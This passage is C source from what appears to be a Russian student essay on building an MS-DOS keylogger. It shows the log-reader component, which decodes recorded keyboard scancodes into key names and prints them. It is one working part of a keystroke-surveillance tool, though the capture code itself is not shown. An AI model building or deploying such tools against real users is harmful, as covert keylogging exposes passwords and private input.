Реферат: Кейлоггер под MS-DOS
case 83: sprintf(str, "%s %s", str, "Del"); break;
case 28: sprintf(str, "%s %s", str, "Enter"); break;
case 15: sprintf(str, "%s %s", str, "Tab"); break;
case 41: sprintf(str, "%s %s", str, "` or ~"); break;
case 72: sprintf(str, "%s %s", str, "UpArrow"); break;
case 80: sprintf(str, "%s %s", str, "DownArrow"); break;
case 75: sprintf(str, "%s %s", str, "LeftArrow"); break;
case 77: sprintf(str, "%s %s", str, "RightArrow"); break;
case 58: sprintf(str, "%s %s", str, "CapsLock"); break;
default: sprintf(str, "%s UNKNOWN KEY #%d", str, scancode);
}
}
int main()
{
printf("\r\n\r\nKeyLog`s Reader v1.0 Copyright (c) Pashix, 2004\r\n\r\n");
in=fopen(FILENAME, "rb");
if(!in)
{
printf("Error while open file, halting...\r\n");
return 1; // Если файл не удалось открыть - выходим из программы
}
while(!feof(in))
{
fread(&scancode, 1, 1, in);
convert(scancode, str);
printf("%s\r\n", str);
}
fclose(in);
return 0;